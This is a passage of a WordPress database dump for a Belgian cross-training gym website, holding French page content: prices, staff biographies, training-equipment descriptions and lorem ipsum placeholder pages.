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(16, 1, '2013-05-23 18:15:58', '2013-05-23 18:15:58', '', 'Accueil', '', 'publish', 'open', 'open', '', 'acceuil', '', '', '2013-11-03 09:49:54', '2013-11-03 09:49:54', '', 0, 'http://www.crosstrainingcenter.be/?p=16', 1, 'nav_menu_item', '', 0),
(388, 1, '2013-11-03 08:57:54', '2013-11-03 08:57:54', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-v1', '', '', '2013-11-03 08:57:54', '2013-11-03 08:57:54', '', 214, 'http://www2.crosstrainingcenter.be/214-revision-v1/', 0, 'revision', '', 0),
(17, 1, '2013-05-23 18:13:57', '2013-05-23 18:13:57', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nblablabla', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-23 18:13:57', '2013-05-23 18:13:57', '', 9, 'http://www.crosstrainingcenter.be/?p=17', 0, 'revision', '', 0),
(18, 1, '2013-05-23 18:14:55', '2013-05-23 18:14:55', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 18:14:55', '2013-05-23 18:14:55', '', 11, 'http://www.crosstrainingcenter.be/?p=18', 0, 'revision', '', 0);
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(19, 1, '2013-05-23 18:12:43', '2013-05-23 18:12:43', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:12:43', '2013-05-23 18:12:43', '', 5, 'http://www.crosstrainingcenter.be/?p=19', 0, 'revision', '', 0),
(20, 1, '2013-05-24 14:33:49', '2013-05-24 14:33:49', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'publish', 'closed', 'open', '', 'lequipe', '', '', '2013-11-03 10:12:44', '2013-11-03 10:12:44', '', 0, 'http://www.crosstrainingcenter.be/?page_id=20', 0, 'page', '', 0),
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(22, 1, '2013-05-24 14:34:07', '2013-05-24 14:34:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div 